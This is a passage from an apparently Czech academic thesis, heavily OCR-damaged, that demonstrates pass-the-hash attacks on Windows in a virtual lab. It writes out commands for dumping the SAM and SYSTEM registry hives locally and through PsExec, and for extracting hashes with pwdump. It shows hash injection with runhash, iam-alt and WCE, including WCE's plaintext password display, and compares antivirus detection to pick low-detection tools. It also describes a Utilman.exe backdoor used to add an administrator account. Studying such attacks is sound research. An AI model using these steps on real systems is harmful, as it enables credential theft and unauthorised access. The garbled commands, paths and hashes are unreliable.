Operacni systém Windows obsahuje nastroj pro konzolovou spravu svych registri.
Jedna se o program reg.exe, ve kterém lze provadét upravy v registrech a také z nich
exportovat hodnoty.

K lokdlnimu pouziti byl vytvoren spustitelny skript ,,CopySAM.bat“ s nasledu-

jicim obsahem:

reg.exe save HKLM\SYSTEM C:\SYSTEM.file
reg.exe save HKLM\SAM C:\SAM.file,

ktery extrahuje z data z potiebnych slozek v registrech (tzv. hives) do zvoleného

umisténi, konkrétné tedy do kotenového adresare disku C.

CasPubump? . exe —s C:nEAM.file C:~S5YSETEM.file

Pudunp v?.1 — raw password extractor
Author: Andres Tarasco Acuna
url: http:=/7wwme.514. es

Administrator:58A:NO PASSUWORD :282C6174DA42ACAEB422F3FASA7AEG 34 = ¢
Guest:581 :NO PASSHWORD :NO PASSWORD HHH
AB5 :18A2 :NO PASSUWORD :B792835825ADFC48CD5FE46PACFDCDSE: = :
BA5:18A3 :NO PASSWORD :DSE?EADBSABA46B? 48853221 BE26DA2B: = :
Host :1084:NO PASSUWORD :823823NDFADZCPAGE1IA41 4F3EBDFS58F 7= =

Obr. 4.9: Extrakce udaji ze SAM databéze

Nyni je jiz mozné napt. pomoci nastroje Pwdump specifikovat umisténi zkopiro-
vanych souboru a ziskat tak potfebny hash (viz obr. |4.9).

Vzdalené spusténi

V pripadé znalosti uzivatleského jména a hesla na zvoleném pocitaci je mozné tento
skript také spustit vzdalené. K tomuto spusténi byl vyuzit nastroj Psexec.exe, ktery
umoznuje vzdalené vykonavani piikazl na jiném systému, nez je uzivatel prihlasen.

Prikazy:

Psexec.exe \\192.168.59.130 -u BO5 -p management
reg.exe save HKLM\SYSTEM C:\Users\Public\Documents\SYSTEM.file,
Psexec.exe \\192.168.59.130 -u BO5 -p management
reg.exe save HKLM\SAM C:\Users\Public\Documents\SAM.file

byla spacifikovana adresa vzdaleného pocitace a parametry -u“ a ,-p“ slouzi k za-
dani prihlasovacich idaji na vzdaleny pocitac. Druhd ¢ast obsahovala prikazy, které
budou na vzdaleném pocitaci vykonany. Jednalo se o pouziti nastroje reg.exe popsa-
ného v kapitole[£.1.6] Jako cilova slozka byla zvolena C: \Users\Public\Documents\,

ktera je ve vychozim stavu sdilena a maji k ni pristup vSichni uzivatelé ze sité.
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4.2 Passs the Hash

Ke zméné ¢i vytvoreni nové uzivatelské relace byly vyuzity nasledujici nastroje:
Pass-the-hash Toolkit

Runhash

Windows Credential Editor

Msvectl

4.2.1 Pass-the-hash Toolkit

Néastroj ,iam.exe“, ktery je soucasti balicku Pass-the-hash Toolkit, umoznuje zménu
NTLM piihlagovacich ddaji u soucasné relace. Utok byl provadén z uzivatelského
uctu B0O5 na systému Windows XP. Po specifikovani nazvu uctu, domény, LM hashe
a NTLM hashe kompromitovaného tc¢tu (v tomto ptripadé byl zvolen administrator-
sky ucet na daném pocitaci) bylo je nutné specifokovat jesté piikaz, ktery bude pod
nové vytvorenou relaci spustén. Doplnénim o parametr -r cmd.exe byla vybrana
pravé prikazova radka.

C:swpshtoolkit_vil._4~iam—alt>iam—alt.exe —h Administrator:UOJTA-2D5859E1A:-FAD412BD?64FFES1AA

D3IB435B51404EE: 207C6174DA49ACAEB422F3FASA7PAEL34 —r cnd.exe

IAM-ALT vi.1 - by Hernan Ochoa C(hochoalcoresecurity.com. hernan@gmail.com?> — <{c?> 20872008
Core Security Technologies

Thiz tool allows you to change the NILM credentials of the current logon session
the credentials were successfully changed?

C:\pshtoolkit_vl.4Niam-alt> |

| CAWINDOWSsystem32\emd.exe

Microsoft Windows XP [Uerze 5.1.2608@1 -
(C>» Copyright 1985-28081 Microsoft Corp.

C:SUINDOWSSsystem32»cd C:spshtoolkit_wvl .4 ~vhosthere—alts

C:swpshtoolkit_vl.4“wvhosthere—alt>vhosthere—alt.exe

HOSTHERE-ALT vli.1 — by Hernan Ochoa (hochoalcoresecurity.com, hernanlgmail.com> - {(c)> 288
7-2008 Core Security Technologies

This tool lists the active LEA logon sessions with NTLM credentials.

the output format is: username:domain:lmhash:nthash

dministrator:UOJTA-?D5857E1R : R4020DA6AFHEA1 BAN3 A4A5A5P4A40ER : BACH]1 A4AATHCAER4NZ A3BAPABA
6048

@5 : UOJTA-2D5E52E1A -6 AARAREARA4A2 0707000201 ADASADACA : A7 AARBARBAAGL AT AB A5 A2A1 AEAGLBAABA
0JTA-?D5852E1A% - WORKGROUP - AAD3B435B51484EEAAD3B435B51484EE - 31 D6 CFEAD1 6 AE?31 B73C592D7EACAS 9
a

Obr. 4.10: Windwos XP - Zména prihlasovacich NTLM udajt

Po tspésném provedeni bylo pomoci nastroje ,,whoisthere-alt.exe® v nové ote-
vieném okné ovéreno, ze ucet Administrator je veden v aktivnich logon relacich (obr.
[4.10)). Nyni by bylo mozné pomoci vhodnych pifkazii vyuzivat administratorsky tcet
v plném rozsahu jeho prav. Funkcionalita je ovsem opét omezena pouze na operacni
systém Windows XP a starsi, coz nastroj ¢ini v dnesnich infrastrukturach témér

nepouzitelnym.
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4.2.2 RunHash

Jedna se o nastroj, ktery umozni vlozit zadany hash do Isass procesu. Jestlize je
akce uspésna, je poté opét mozné sputit jakykoliv ptikaz s opravnénimi uzivatele,
jemuz prislusny hash nélezel.

K testovani byl pouzit tc¢et B05 na operac¢nim systému Windows 7 a hash ad-
ministratorského hesla (obr. , které bylo ziskano jiz drive. Jelikoz neni pouzivan
LM hahs, musi byt jeho hodnota nahrazena nulami.

K ovéreni slouzil néstroj ,,wce.exe®, ktery umozni zobrazit soucasné NTLM relace
a jenz bude popsany dale. Po specifikovani ukradeného hashe a libovolného ptikazu
(konkrétné cmd.exe) byl opét spustén program ,wce.exe“. Z obrazku je patrné,
ze vznikla nova relace administratorského uctu, pod kterym byl spustén prikazovy
radek.

C:s\Userss\BBS \DesktopsTools »uce.exe

WCE vl_42beta <Windows Credentials Editor)> - {(c) 2018-2813 Amplia Security

Use —h for help.

B@5 :WIN-BD0713C23CN=C610BACEBPE4826 7B79AE261BDD89D4C: DSEYEODBS ABA46 BY 48853221 BE26DAZB

C:sUserssnBBS5“\DesktopnTools >runhash32 . exe Administrator:-500: 10000AHONAENAROHAEREENAEODABLAREA
A:209C6174DA4?BCAER422FIFASATAEG34: - cnd.exe

RunhfAzsh vi.@ — Copyright <(C> 2818 Bjorn Brolin, Truesec <{wuw.truesec.com)
Uzername: Administrator

Domain: .

Starting process... Done?

Found Lzass pid: 844

Lsass process open

Searching for matching token secrets...
Found possihle primary token

Found real token

Found possihle primary token

Found real token

Found match

Patching token secrets... Done?

G:slUserssnBASsDesktop~Tools »uce.exe
WCE vl_42beta <Windows Credentials Editor> - (c> 2018-2813 Amplia Security
Use —h for help.

Administrator:. :AEEARAAARAAAAARAADAHANNEEAABANA 202 C61 74DA49ACAEB422F3FASAYAER T4
BAS :WIN-BDO?13C23CHN:C61ABACESAE48267B79AE2610DDE2D4C : DSE?ERDBSBEA46 B2 48853221 BE26DA2ZE

Obr. 4.11: Windows 7 - zména NTLM relace nastrojem RunHash.exe

Velka vyhoda tohoto nastroje spociva v bezproblémovém pouziti na vsech no-
véjsich systémech Windows pocinaje Windows Vista. RunHash je také funkéni na
vSech jejich architekturach (x64 i x86) a ma velmi nizkou detekovatelnost antiviro-

vym programem.

4.2.3 Windows Credential Editor

Windows Credential Editor (WCE) je néstroj, ktery umoznuje zobrazit, ménit a ru-

Sit soucasné prihlasovaci relace na konkrétni stanici. Program je také zaméren na
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kompromitaci active directory, umoznuje ziskat Kerberos tikety a nasledné je vyuzit
pro pristup k sluzbam a systému.

WCE podporuje veskeré soucasné operac¢ni systémy Windows a jejich 32bit
i 64bit verze.

Prikazem wce.exe -1 se zobrazi veskeré aktivni relace na lokalnim pocitaci.
Jedna se o obdobu nastroje whoisthere.exe obsazeného v Pass the Hash Toolkit.

Utok pass the hash byl proveden z uzivatelského Gétu B05 na OS Windows 7.
Udaje potfebné pro ttok byly ziskény jiz difve (viz obr. . Zvolen byl hash hesla
asociovaného k uzivatelskému tcétu A05 (obr. [4.12).

C=xUsers»BAS Desktop Tools Juce .exe
WCE vi.42beta <Windows Credentials Editor> — <c? 2018-2013 Amplia Security

Use —h for help.

BAS5 :WIN-BDO713C23CN:Ce1@BACESBE48267BYIAEZ610DDE?D4C: DSEYEADESBEBA46B?48853221 BE26DAZE
C:sUserssBBS5\DesktoprTools duce.exe —s ABS:-1002 : BHBREHRPVREIPRRBABARNAVBEIDREBRBAAN - B?22835825

ADFC48CD5F846 7ACFDCDSE —c cmd.exe

WCE vl._42beta <Windows Credentials Editor)> - (c) 2018-2813 Amplia Security

Use —h for help.

Changing NTLM credentials of new logon session BA12E6DSh to:
Uzername: ABS

domain: 1882

LHHash: BAORABREOABRABEERERANERNEOERARNEEGE

NTHash: B?22835825ADFC48CD5F8467ACFDCDSE

NTLM credentials successfully changed?

G:slUserssnBASsDesktop~Tools »uce.exe
WCE vl_42beta <Windows Credentials Editor> - (c> 2018-2813 Amplia Security

Use —h for help.

AA5 1862 : IERRRIBRRRARRRARARRARARARARRAABDA = BY? 28358 25ADFC48CD5FE46 7ACFDCDSE
BAS:UIN-BDO713C23CH:Co1ABACESAE48267B7?AE2618DD82D4C : DSE?EADBSABA46B?48853221 BE26DA2ZE

Obr. 4.12: Windows 7 - Nova NTLM relace

Po tspésném spusténi bylo ovéreno vytvoreni nové relace opétovnym spusténim
wee.exe (obr. [1.12)).

Nastroj wee.exe také umoznuje zobrazeni uzivatelského hesla v cisté podobé. To
je docasné ulozeno v autentizacnich bali¢cich, z nichz je parametrem wce.exe -w
heslo mozné vycist.

Cinuce.exe —uw —
WCE wil_42beta (Hlnduws Credentials Editor) - <(c? 2018-2813 Amplia Security

Use —h for help.
Current Logon Session LUID: BA18BC6HAZh
Logon Sessions Found: 7

ABS~1002 :
BASHWIN-BDO713C23ICN:security
WIN-BDO?13C23CNS\WORKGROUP -

Obr. 4.13: Zobrazeni hesla v ¢istém textu
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Heslo v ¢istém textu bylo zobrazeno az po tspésném vytvoreni nové relace. Z ob-
razku obr. je mozné vycist heslo k ¢tu B05. K acétu A05 jej neni mozné zobrazit,

jelikoz k vytoteni relace byl pouzit pouze jeho hash.

4.3 Antivirova ochrana

Jelikoz vétsina z vyse popsanych nastroji vyuziva metody dll injection, pripadné

jiného neopravnéného zasahu do systému, mél by je byt antivirovy program schopen

odhalit jesté predtim, nez je pomoci nich ziskan hash, ptipadné provedena zména ci

vytvoreni nové NTLM relace. Pti testovani byly pouzity plné aktualizované antivi-

rové programy:
o AVG antivirus 2014,
o Kaspersky Anti-Virus 2013,
e Norton™ AntiVirus 2014,
o Avast Antivirus 2014 ,
o McAfee Antivirus & Security,
o Eset NOD32 Antivirus.

Detekce pouzivanych néstroji byla testovana jak pti lokalnim pouziti, tak pri

vzdaleném. V pripadé, ze néstroj obsahoval moznost na obchézeni antiviru, ta byla

pouzita. Vysledky pro lokalni detekei jsou zaznamendny v tabulce [4.4] a pro vzdéle-
nout v tabulce .5

Tab. 4.4: Detekce nastroju pti lokalnim pouziti

Avg Kaspersky | Norton Avast McAfee | NOD32

fgdump pozitivni | pozitivni | pozitivni | pozitivni | pozitivni | negativni
gsecdump || pozitivni | pozitivni | pozitivni | pozitivni | pozitivni | negativni
msvctl pozitivni | pozitivni | pozitivni | pozitivni | pozitivni | negativni
pshtoolkit || pozitivni | pozitivni | pozitivni | pozitivni | pozitivni | negativni
pwdump || pozitivni | castecné | pozitivni | pozitivni | pozitivni | negativni
WCE pozitivni | pozitivni | negativni | negativni | pozitivni | negativni
runhash || negativni | negativni | negativni | negativni | pozitivni | negativni
skript negativni | negativni | negativni | negativni | negativni | negativni
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Tab. 4.5: Detekce nastroji pri vzdaleném pouziti

Avg Kaspersky | Norton Avast McAfee | NOD32

fgdump pozitivni | negativni | pozitivni | negativni | pozitivni | negativni
gsecdump nelze nelze nelze nelze nelze nelze
msvctl nelze nelze nelze nelze nelze nelze
pshtoolkit nelze nelze nelze nelze nelze nelze

pwdump || pozitivni | castecné | pozitivni | negativni | pozitivni | negativni
WCE nelze nelze nelze nelze nelze nelze
runhash nelze nelze nelze nelze nelze nelze

skript negativni | negativni | negativni | negativni | negativni | negativni

4.4 Zhodnoceni

Veskeré zminéné nastroje byly otestovany na vsech operacnich systémech. Testovany

nebyl pouze nastroj msvctl.exe, jehoz funkénost je omezena pouze na 32bitvé kopie

systému Windows XP, coz jej ¢ini v soucasném redlném prostredi témér nepouzi-

telnym. Funkcionalita testovanych programi v zavislosti na jednotlivych operac¢nich
systémech je uvedena v tabulce [4.6]

Tab. 4.6: Prehled funcionality nastroji na operacnich systémech

Windows 7 | Windows XP | Winodws SERVER 2008 R2
fgdump funkéni funkéni nelze
gsecdump funkéni funkéni nelze
msvctl nelze funkcéni nelze
pshtoolkit nelze funkéni nelze
pwdump funkcni funkéni funkcni
WCE funkéni funkéni funkcni
runhash funkéni nelze funkcni
skript funkéni funkéni funkéni

Pro nasledujici simulaci ttoku pass-the-hash v navrzeném prostiedi bude k zis-

kani hashe vyuzito skriptu pro zalohu vétev registrii. Byl zvolen z divodu vyuziti

pouze nastroju integrovanych v opera¢nim systému Windows. Antivirovy program

tedy nikdy nevygeneruje poplasnou zparvu. Totéz plati i pro vzadlené spusténi, kdy

se vyuziva nastroji Windows Sysinternals, které byly vyvinuty pro soubézny chod

se systémem Windows. Ziskané soubory poté mohou byt extrahovany jakymkoliv

dostupnym nastrojem.
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K provedeni zmény NTLM tudajt aktivni logon relace budou zvoleny nastroje
WCE a runhash. Oba dva vykézaly nizkou miru detekce antivirovym programem,
a tudiz jsou vhodné pro nasazeni v realném prostredi. Program WCE navic umoz-
nuje nejen zménu NTLM tudaji, ale také kradez Kerberos tisketii a jejich nasledné
pouziti pro pristup k potfrebnym sluzbam. Oba dva programy jsou také funkéni na
vsech soucasné dostupnych operacnich systémech Microsoft Windows i obou archi-
tekturach x64 a x86.
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5 NAVRH TESTOVACIHO PROSTREDI

Névrh sité pro demonstraci redlného schématu tutoku Pass the hash je zobrazen na
obr. 5.1 Cel4 sit, véetné operacnich systému, je plné virtualizovand pomoci por-

gramu VMware Workstation 10.

PC1

BO5
ADMINISTRATOR

SERVER (Windows v
Server 2008 R2)
S
Q
NS
Utocnik
LAN: WMNET2 Doména: pthlab.com

Obr. 5.1: Schéma testovaciho prostredi

Vsechny cilové stanice se nachazi v jedné lokalni siti za icelem spole¢né komuni-
kace a bézi na nich plné aktualizovany operacni systém Windows 7 a Windows XP.
Pocitace PC2 a PC3 spadaji také do Windows domény s ndazvem ,PTHLAB“. Ad-
ministratorsky ucet A05 je na obou stanicich pouze lokalni. Ostatni uzivatelé maji
pristup do domény.

Tato doména je Tizena serverem s operacnim systémem Windows Server 2008

R2. Serveru jsou prifazeny 2 role:

e role fadice domény,
e role souborového serveru,

e role DNS serveru.

Role tfadi¢e domény mé za tucel spravovat data active direcotry a komunikaci

mezi uzivateli i samostatnymi doménami. V pripadé testovaciho prostiedi je hlavnim
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cilem této role Tidit procesy prihlaseni a ovérovani jednotlivych uzivateli v ramci
domény PTHLAB.

Souborové servery slouzi k pristupu k soubortim a jejich spravé. Tato role byla
zavedena z divodu ovéreni ttoc¢nikova postupu siti. Kazdému uzivateli v ramci do-
mény je pridélena slozka pojmenovana podle ndzvu uctu, do které ma pristup pouze
on. Pokud itoc¢nik ispésné provede 1itok pass the hash a kompromituje néjaky z uve-
denych privilegizovanych ucth, ziska pristup pravé do slozky daného uzivatele.

Uzivatelské ¢ty pouzivané v navrzeném prostedi jsou uvedeny na obrazku [5.1]
Prehled umisténi stanic v ramci testovaci LAN sité VMNET2, pouzitych uzivatel-

skych uétu a jejich pristupovych hesel je vynesen do tabulky [5.1]

Tab. 5.1: Pfehled koncovych stanic a uzivatelskych ucta

stanice | Operacni systém | Uzivatelé Hesla Doména
PC1 Windwos 7 A05 Yaq;+wsx -
PC2 Windwos 7 A05 Yaq;+wsx PTHLAB
B05 R1i2N3g4
PC3 Windwos 7 B05 R1i2N3g4 PTHLAB

Administrator DOm@InAdmin
SERVER | Windwos Server | Administrator DOm@InAdmin | PTHLAB
2008 R2

5.1 Zprovoznéni testovaciho prostredi

5.1.1 Windows Server 2008

Aby bylo mozné server pouzit jako doménovy radic je nutné mu pridélit vyse zminéné

role

Instalace role doménového radice

Instalace doménového radice a nastaveni ptorebné domény se spusti prikazem
dcpromo

zadanym v prikazovém fadku. Jednd se o néastroj (Domain Controller Promoter)
v ramci Active directory, ktery spravuje sluzby active directory domény a vytvari
radice domény.

Pri instalaci prvni domény bude defaultné nastaveny administratorsky tcet po-
vyseny na spravce domény. Je tedy nutné mu prifadit odpovidajici heslo. To se

provede prikazem:
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net user Administrator DOm@!nAdmin /passwordreq:yes,

kde ,,Administrator® znaci ucet a ,DOm@!nAdmin“ prifazené heslo.

FQDN, tedy Fully Qualified Domain Name bylo nastaveno na ,pthlab.com*
Jedna se o doménové jméno, které presné urcuje umisténi pocitace ve stromové
strukture.

Spravné vytvorenou doménu je mozné ovérit po zadani do prikazové radky:
nltest /dsgetdc:<jméno_domény>,

Na obrazku je zobrazen vystup pro nazev ,pthlab.com® a je patrné, ze
uspésné vznikl doménovy kontrolér s adresou serveru a doména byla tspésné vy-
tvorena.

C:slUserssAdministrator>nltest Adsgetdc:pthlab.com
DC: ssServer.pthlab.com
Address: ~~192.168.1.1
Dom Guid: 524eBB8di-eff?-4bai—-ada7-822dB8df?2eda
Dom Mame: pthlah.com
Forest Mame: pthlab.com
Dc Site Mame: Default—First—Site—Name
Our Site Hame- Default—-First—Site—Nam
PDC GC DS LDAF KDC TIMESERU GTIHESERU WRITABLE DNS_DC DHS_DOMAIN

Flag
DHS _FOREST CLOSE _SITE FULL_SECRET us
The command completed successfully

Obr. 5.2: Ovéreni vytvorené domény

Nyni je nutné nastavit, které koncové stanice budou mit do domény pristup
a které uzivatelské ucty se budou moci viic¢i active directory oveérit.

Do domény byly pridany stanice s konkrétnimi uzivatelskymi ucty:

« PC2-B05

« PC3 - B05, Administrator

P1i vytvareni stanic, bylo nutné specifikovat heslo, o které je uzivatel pozadan
pri pridavani konkrétniho pocitace do domény. Hesla byla ponechana stejna jako

v tab.

Instalace DNNS serveru

Instalace DNS serveru je nutnad pro spravny chod doménového radice. V prubéhu
jeho instalace je tedy tfeba nainstalovat sluzbu DNS. Instalace pozadované role
probéhla automaticky.

Instalace role souborového serveru

Tato role byla serveru pritazena automaticky po samostatné instalaci. Je tedy treba

pouze vytvorit sdilené slozky a pridélit jim potrebna opravnéni. Pro uzivatele B05
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a Administrator byly vytvoreny slozky <uZivatelské jméno>-files", které ob-
sahuji textovy soubor, jehoz otevienim a pozménénim se ovéri tspésnost utoku.
K jednotlivym slozkdm v médu zapisu maji pristup pouze uzivatelé uvedeni v jejich
nazvu s vyjimkou uc¢tu Administrator, jenz ma pristup ke vsem.

Pouzitd opravnéni u slozky B05-files jsou zobrazena na obrazku Analogicky

byla vytvorena prava i pro slozku Administrator-files.

l Permissions for B0O5-files x|
Securty |
Group or user names:

;, Administrator
b §E05 (BO5@pthlab com)

Add | Bemove |
Pemissions for BOS Allow Dery
Full Contral O =
Modify O
Read & Execute a
List Folder Cortents O =
Read O -

For special pemrmissions or advanced settings, Ad =] |
click Advanced. e

Leam about access control and permissions

ok | cancel | mopy |

Obr. 5.3: NTFS opravnéni slozky B05-files
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Ovérit spravné sdileni i opravnéni k danym slozkam lze prikazem:

net share <jméno_sdilené_polozky>,

C:sllserssAdministrator®net share BAS—files

Share name BAS—files

Path c:sBAS—fFTiles

Remark

Maximum wusers Mo limit

Users

Caching Manual caching of documents
Permizsion PTHLAB~Administrator,. FULL

PTHLAB-~EAS, FULL

C:slUszerssAdministratornet share Administrator—files

Share name Administrator-files

Path cisAdministrator—files
Remark

Maximum users Mo limit

Users

Caching Manual caching of documents
Permizssion PTHLAB~Administrator,. FULL

Obr. 5.4: Opravnéni sdilenych slozek

5.1.2 Uzivatelska stanice

Aby bylo mozné uzivatelské stanice pripojit do domény, je nutné, aby se nachazely
ve stejné siti (192.168.1.0/24) a mély spravné nastavenou IP adresu DNS serveru.
To je vyzadovano pro spravné prelozeni doménového nazvu a pro komunikaci se
stanicemi uvnitf domény (v¢. doménového kontroléru).

Spréavné nastaveni IP adres stanice PC2 je uvedeno na obr. [5.5] Analogicky byly
zvoleny IP adresy i u dalsich stanic.

V tabulce jsou uvedeny veskeré zvolené IP adresy a jejich pritazeni k jednot-

livym stanicim.

Tab. 5.2: Prehled IP adres ptidélenych koncovym stanicim

stanice IP adresa DNS server | Doména

PC1 192.168.1.11 - -

PC2 192.168.1.12 | 192.168.1.1 | PTHLAB

PC3 192.168.1.13 | 192.168.1.1 | PTHLAB
SERVER | 192.168.1.1 - PTHLAB

Pro tcely demonstrace utoku nepotrebuje mit stanice PC1 ptidélenu zadnou IP

adresu DNS serveru, jelikoz se nachazi mimo doménu PTHLAB, a neni tedy nutné
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prekladat jeji ndzev. U Windows serveru neni ptitazena proto, ze sam ma prifazenou
roli lokalniho DNS serveru a nepredpoklada se pristup do sité internet.
K pridani stanice do pozadované domény je nutné specifikovat potfebnou doménu

a nazev pocitace, pod kterym bude v ramci domény vystupovat.

o

Protokal IP verze 4 (TCP/IPvA) — vlastnosti @
Obecné

Podparuje-i sit” automatickou konfigurad IP, je moiné ziskat nastaveni
protokolu IP automaticky. ¥ opafném pripadé vam spravné nastaveni
poradi spravee sité,

() Ziskat IP adresu ze serveru DHCP automaticky

(@ Pouzit nasledujid IP adresu:

IP adresa: 192,168, 1 . 12
Maska podsité: 255,255 .255. 0
Vychozi brana: 192 . 168, 1 . 1

Fiskat adresu serveru DMS automaticky
(@ PouZit nasledujic’ adresy serverd DNS:

Upfednostiiovany server DNS; 192,168, 1 . 1

Alternativni server DNS:

[] Pfi ukonéeni ovéfit platnost nastaveni

| ok || stomo |

Obr. 5.5: IP adresy ptidélené stanici PC2

V testovaci siti se jedna o doménu pthlab.com a nazev PTHPCx. Po zadani po-
tfebnych tdajt a ovéreni konektivity k doménovému kontroléru je uzivatel vyzvan
k zadani prihlasovacich tudaju pro pristup k doméné, které jiz byly drive nasta-
veny na Windows serveru. Po jejich ovéreni se pocitac ¢i uzivatel stava soucasti
domény.Timto zptisobem byly do domény pridany stanice PTHPC1 a PTHPC2.

Ze strany serveru je mozné uspésné pripojeni uzivatelt do domény ovérit piika-
zem:

net stat <uzivatelké_jméno>

Na obrazku je [5.6] jsou zobrazeny podrobné tdaje o doménovém tuctu B05.
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CisllserssAdministrator*net user BAS

User name

Full Hame
Comment

User's comment
Country code
Account active
Account expires

last =et
expires
changeahle
required

change password

Passuword
Password
Passuword
Password
User may

Workstations allowed
Logon script

User profile

Home directory

Last logon

Logon hours allowed

Local Group Membherships
Glohal Group membherships

BAS
BAas

AAA (System Defaultl
Yes
Mever

392814 3:18:18 PHM
Mever

31/18-2814 3:18:18 PH
Yes

Mo

All

3-9-2814 3:23:42 PH
All

=*Domain Users

Obr. 5.6: Udaje o doménovém tétu
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5.2 Demonstrace itoku v navrzeném prostredi

Pro provedeni utoku se predpoklada, ze atocnik ziskal jakymkoliv zptisobem pristup
k nedostatecné zabezpecené stanici v ramci sité. V simulaci byl vytvoten uzivatelsky
ucet s nazvem Attacker, ktery je nasledné upraven tak, aby z néj bylo mozné provadét
veskeré kroky potfebné pro postup siti pti utoku. V pripadé testovaci sité se jedna
o stanici PC1.

5.2.1 Ziskani administratorskych prav

Pro vytvoreni tto¢nikova uc¢tu a pridéleni administratorskych prav bylo vyuzito
tvz. ,backdoor®, tedy metody, kterd umoznuje obejit béznou autentizaci branici
neopravnénému vyuziti pocitace.

Po spusténi systému Windows 7 je na prihlasovaci obrazovce ikona, jez umoznuje
spusténi nastroje Utilman.exe, ktery usnadnuje uzivani pocitace. Tento soubor se

nachéazi v systémové slozce
C:\Windows\System32\Utilman.exe

Ke spusténi je vyuzit jednoduchy piikaz, ktery otevie program s presnym nazvem
a z konkrétniho umisténi. Pokud je néstroj Utilman.exe nahrazen jinym, ktery je
shodné pojmenovam a ulozen na stejném misté, bude spustén tento soubor. Toho

bylo vyuzito k ziskani administratorksého pristupu k prikazové radce.

. Windows 7

Obr. 5.7: Tkona pro spusténi nastroje Utilman.exe

Za chodu systému Windows nemiize bézny uzivatel upravovat systémové soubory.
K tomu je zapotiebi prevzit jejich vlastnictvi a pridélit potfebné skupiné uzivateli
prava pro ¢teni a zapis. Ménit tato opravnéni maji pouze uzivatelé s administra-
torskymi pravy. Z toho plyne, Ze neni mozné ze standartniho uctu tuto metodu
pouzit.

7 toho dtivodu byl opét pouzit alternativni systém, jenz muze byt spustén primo
z USB disku. V ném byl ptivodni soubor Utilman.exe prejmenovan a byla vytvorena
kopie néastroje cmd.exe, jez byla pojmenovana jako ptvodni soubor — Utilman.exe.

Nyni, kdyz je pocita¢ restartovan, je mozné spustit prikazovou radkou stejnou
ikonou jak na obr.

Jelikoz neni prihlasen zadny uzivatel, nejsou piikazové fadce pridélena zadna

omezend opravnéni a je tedy spusténa s administratorskymi pravy.
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= C:AWindows\system3Z\utilman.exe o=

System nemuze nalezt text zpravy cislo 0x2350 v souboru zprav pro Application.

Copyright (c) 2009 Microsoft Corporation. VSechna prava vyhrazena.
Systém nemuzZe nalézt text zpravy ¢islo Ox8 v souboru zprav pro System.

C:\Windows\system3Z>net user Attacker attacker /add

w. Windows 7 Ultimate

Obr. 5.8: spusténi prikazové radky s administratorskymi pravy

Nyni byly pouzity prikazy

net user Attacker attacker /add,

net localgroup administrators Attacker /add

Prvni prikaz vytvoril uzivatelsky tucet Attacker a pridélil mu heslo attacker. V dru-
hém kroku byla tomuto Gc¢tu pridélena administratorksa prava.

Neni nutné vytvaret primo novy uzivatelsky tucet. Z prikazové radky je mozné
zmenit heslo ¢i opravnéni u stavajicich uc¢tl, pripadné povolit ptivodné zakazany

administratorsky ucet.

5.2.2 Nastaveni uc¢tu Attacker

Jelikoz pti demonstraci bude nutné prenédset zkopirované soubory potiebné pro ex-
trakci SAM databéze, je tfeba vytvorit vytvorit sdilenou sitovou slozku, kam budou
soubory umistény. Ty je mozné také extrahovat vzdalené, ovSem v tom pripadé je
utoc¢nik vystaven nebezpeci, ze na kompromitované stanici bézi antivirova ochrana,
kterda program pro extrakci mize detekovat.

Pro zkopirovani databédze se pouziva pouze nastroju pro spravu registru integro-
vanych do systému Windows, takze na vzdalené stanici antivirovy program nikdy
nevygeneruje poplasnou zpravu. Predpoklada se, ze itocnik ma kontrolu nad PC1,

tudiz je na ném antivirova ochrana zakazana.
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Na PC1 byla vytvorena tedy slozka
C:\Attacker-files,

v niz byla omezena opravéni. Ke slozce ma plny pristup pouze uzivatel Attacker
viz obr. 5.9

C:slzerssAttackeri>net share

Hazeu

sdilené

polozky Prostiedek Poznamka

I1PCS Uzdaleng IPC

Cc5 C:is Ugchozi sdilend poloZka
ADMINS C:sMindows Uzdaleny spravce

Attacker—files
C:sAttacker—files
Piikaz byl dspéZné dokonien.

C:sUserssAttackernet share attacker—files

Hazeu sdilené poloZky Attacker—files

Cezta C:wAttacker—files

Poznamka

Maximum uZivateli Bez omezeni

Users

Ukladani do mezipaméti Ruéni wkladani dokumentii do mezipaméti
Opravnéni PCi~Attacker,. FULL

Piikaz byl dspéZné dokonien.

Obr. 5.9: Opravnéni sdilené slozky

Pro vzdaleny pristup k dané slozce je ovSsem nutné se autentizovat jako uzivatel
Attacker, a tudiz musi byt uzivatelskému uctu pridéleno i heslo. To bylo nastaveno

jiz v predchozich krocich.

5.2.3 Ziskani hashe hesel na PC1

K ziskani potfebych souborii pro extrakci hashe ze SAM databaze byl vyuzit skrip
popsany v kapitole [£.1.6] Zménéna byla pouze slozka, kam se zdloha vétev registru
ulozi. Jedna se o slozku , Attacker-files“. Nazev ukladanych soubort byl zménén na
SAMPCl1.file a SYSTEMPCI1 file

Po tispésném spusténi skriptu se potfebné soubory nachazi ve zvolené slozce a je
mozné provést jejich extrakci pomoci programu pwdump a ziskat tak uzivatelské
jména a hash odpovidajici jejich heslim.

Extrahovani se provede prikazem:

PwDump7.exe -s C:\Attacker-files\SAMPC1
C:\Attacker-files\SYSTEMPC1 > PClhash.txt
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C:wAttacker—files>type PClhash_txt

Administrator:5@A:NO PASSUWORDeoaaaanoaanaaaaaaaaex: 11 D6CFEADI6AE?I1B73C57D7EACAE?CA: - =
Guest 5AL tNO PASS LR T3 meee-w e 3000362600000 3300 2 W PS5 LT T80 300 0650300030 00630 B0 B3 2 2
AB5:1808:NO PASSUWORD t7919BF72242D?E?B1C6244886F4D648A: =

Attacker:18681 :NO PASSWORD :?306168C2CC4FDOABERB3849114F58898: ¢

Obr. 5.10: Hash uzivatelskych hesel na PC1

a ziskané hashe budou ulozeny do textového souboru local.txt. Jeho obsah je
zobrazen na obr. [5.10
Nyni jiz byly ziskdany vSechny potiebné tudaje k provedeni ttoku pass the hash

a ziskani kontroly nad stanicemi, na kterych se vyskytuje tcet A05.

5.2.4 Pass the hash na stanici PC2

K provedeni ttoku pass the hash byl pouzit program runhash.exe (viz [5.2.4)), ktery
vklada ziskany hash do paméti procesu lsass.exe.

Nejprve byl fadek v ziskaném textovém souboru s uzivatelskym jménem A05
upraven tak, aby odpovidal formatu podporovanému programem runhash.exe. Bylo
tedy nutné nahradit fetézec NO PASSWOR Dfeeieiciicicicaccitttiiet oznacujicl ne-
pritomnost LM hashe odpovidajicim poctem 0.

Poté byl jiz spustén samostatny program runhash se specifikovanym hashem
a parametrem ,cmd.exe, ktery oznacuje program, jenz bude spustén pod zvolenym
uzivatelskym jménem.

V nové otevieném okné bylo ovéreno spusténim programu wce.exe, ze byla sku-

teéné vytvorena nova uzivatelska relace se zadanym hashem.

